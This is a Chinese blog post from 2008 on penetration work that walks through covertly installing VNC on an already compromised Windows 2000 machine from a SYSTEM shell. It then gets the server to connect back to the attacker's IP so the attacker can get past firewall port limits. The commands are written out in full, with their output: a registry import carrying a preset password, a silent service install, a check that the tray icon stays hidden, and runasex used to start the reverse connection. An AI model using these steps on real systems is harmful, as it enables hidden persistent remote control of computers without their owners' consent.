正在加载...

命令行下实现VNC反向连接

[ 2008/04/06 15:56 | by selboo ]


这篇文章是为渗透而写的,当初获得了一个Systemm权限的Shell,但是因为目标机器有种种限制,只开80、443等端口,其它端口打不开,这个时候就需要一个GUI交互界面的程序来控制这台机器了,所以给这台机器安装VNC将是一个不错的选择。

准备
准备工作:需要一个交互控制环境,最好获得对方Systemm权限的Shell,下载VNC-3.3.7版本,剥离远程安装所需的文件。在一台机器安装VNC并注册为系统服务,设置好VNC密码,剥离我们所需要的远程安装的文件。
C:\WINNT\Systemm32>dir "C:\Program Files\RealVNC\VNC"
驱动器 C 中的卷没有标签。
卷的序列号是 9464-50C4

C:\Program Files\RealVNC\VNC 的目录

2004-07-19 12:18 .
2004-07-19 12:18 ..
2003-02-19 10:16 61,440 othread2.dll
2004-06-27 14:26 1,174 VNC.reg
2004-07-19 01:16 57,344 VNChooks.dll
2004-07-19 01:12 307,200 winVNC.exe
4 个文件 427,158 字节
2 个目录 3,266,203,648 可用字节
这里我们只需要VNChooks.dll、WinVNC.exe、Othread2.dll三个文件,然后从注册表中导出VNC的设置VNC.reg。
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\ORL]
[HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3]
[HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"PortNumber"=dword:00000000
"InputsEnabled"=dword:00000001
"LocalInputsDisabled"=dword:00000000
"QuerySetting"=dword:00000002
"QueryTimeout"=dword:0000000a
"Password"=hex:98,e6,55,1f,82,42,48,9e
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000000
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000

TIPS:如果你要渗透的系统是XP,那么就要在XP上安装VNC并按照上面的步骤剥离VNC远程安装所需文件。

实践
目的是要验证VNC远程安装与正向连接,验证VNC反向连接。目标IP:xxx.xxx.xxx.xxx,已获得一个System Shell,现在我们在目标系统上下载并安装VNC:
C:\WINNT\Systemm32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
C:\WINNT\Systemm32>whoami
whoami
NT AUTHORITY\SYSTEMM

C:\WINNT\Systemm32>riv //解压VNC
riv
Extracting from C:\WINNT\Systemm32\riv.exe
Create By Kaka
Mail:Kaka@0x557.org
Homepage:http://www.0x557.org

Extracting othread2.dll OK
Extracting VNC.reg OK
Extracting VNChooks.dll OK
Extracting winVNC.exe OK
All OK
然后在命令行下安装VNC:
C:\WINNT\Systemm32>winVNC –install //安装。删除为WinVNC -remove
winVNC -install
C:\WINNT\Systemm32>c:\winnt\regedit /s VNC.reg //把VNC注册表内容导入,即配置、密码等
c:\winnt\regedit /s VNC.reg
C:\WINNT\Systemm32>net start winVNC //启动VNC服务
net start winVNC
VNC Server ……(乱码,内容是安装成功)
VNC Server ……(乱码,内容是安装成功)

C:\WINNT\Systemm32>netstat -an | find ":5800" //查看VNC安装成功与否。
netstat -an | find ":5800"
TCP 0.0.0.0:5800 0.0.0.0:0 LISTENING
C:\WINNT\Systemm32>
安装成功后,我们直接测试VNC的正向连接功能,连上去,如图1所示:

图1
连接成功。请注意看图片的右下角,并没有VNC的图标出现。似乎很顺利,接下来应该测试VNC的反向连接,按照VNC的帮助,反向连接格式应该是这样的:
IP:开VNCviewer.exe的监听模式 VNCviewer.exe –listen 默认监听本机的5500端口。
WinVNC –connect VNCviewer监听的IP
问题在这里出现了,耗费了我几个小时,晚上8点到第二天凌晨1点左右都是在搞这个反向连接,痛苦。下边是我的分析思路:运行中的WinVNC也就是安装好VNC后,系统启动的VNC程序:
C:\WINNT\Systemm32>pulist | find "winVNC.exe"
pulist | find "winVNC.exe"
Process PID User
winVNC.exe 3104 NT AUTHORITY\SYSTEMM //注意启动winVNC的系统身份
我在SYSTEMM的Shell环境下输入:
WinVNC –connect myip
以为会在自己开了VNCviewer监听的机器上出现VNC反连过来的得GUI界面,结果确是失望的。查看远程机器的VNC进程如下:
C:\WINNT\Systemm32>winVNC -connect 222.65.110.236
winVNC -connect 222.65.110.236

C:\WINNT\Systemm32>pulist | find "winVNC.exe"
pulist | find "winVNC.exe"
winVNC.exe 3104 NT AUTHORITY\SYSTEMM //注意启动winVNC的系统身份
WinVNC.exe 2392 NT AUTHORITY\SYSTEMM
不能反向连接,这不是我想要的,因为我确实是实验过VNC是可以反连的,而且是从内网连接到外网的机器。继续看资料,在本机实验,问题出在反向连接是可以连接到远程开VNCviewer监听的机器,但是在这个有System权限的Shell下却怎么也反向连接不过来!
百思不得其解,随手在本机敲上VNC反连的命令,看着远程计算机出现我的机器桌面,突然想到反连不成功会不会跟这个有关系?反连需要系统某个用户的身份,及其配置?使用Runas看看(允许用户用其他权限运行指定工具和程序,而不是用户当前登录提供的权限)。
C:\WINNT\Systemm32>runas /profile /env /user:FILE-PRINT\edu "winVNC -connect 222.
65.110.236"
runas /profile /env /user:FILE-PRINT\edu "winVNC -connect 222.65.110.236"
……(看不懂的乱码)
C:\WINNT\Systemm32>pulist | find "winVNC.exe"
pulist | find "winVNC.exe"
winVNC.exe 3104 NT AUTHORITY\SYSTEMM
利用Runas使用这台电脑的一个用户身份执行VNC反向连接失败,提示返回消息韩文没有看懂,也没有继续追究下去,因为我又找到一个别的工具Runasex.exe。
C:\WINNT\Systemm32>runasex edu edu winVNC “-connect 222.65.110.**”
runasex edu edu winVNC "-connect 222.65.110.**"
winVNC Execute Succussifully.
C:\WINNT\Systemm32>netstat -an | find ":5500"
netstat -an | find ":5500"
TCP 211.232.169.**:2503 222.65.110.**:5500 ESTABLISHED
Local
C:\>netstat -an | find ":5500"
netstat -an | find ":5500"
TCP 0.0.0.0:5500 0.0.0.0:0 LISTENING
TCP 10.0.0.100:5500 211.232.169.**:2503 ESTABLISHED

在我本机出现了期待已久的VNC远程连接界面!成功!
最后得出结论:WinVNC反连的时候,必须要被执行一次,即系统有一个VNC的运行进程,反连在此基础上运行才能成功。而且WinVNC的反连必须要以一个用户的身份来连接System权限不可以启动WinVNC的反连。更多的功能需要自己动手去实践,如有问题欢迎与我讨论。

参考文章:
http://www.digitaloffense.net/docs/Remote.VNC/remote_installation.txt Remote VNC Installation
http://www.tburke.net/info/misc/VNC_remote.htm How to install VNC on a remote PC
http://www.darkage.co.uk/VNC/howtos/fromcmdshell.htm Install VNC from the command shell
http://www.netxeyes.org/VNC.html VNC的远程安装
,
发表评论
表情
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]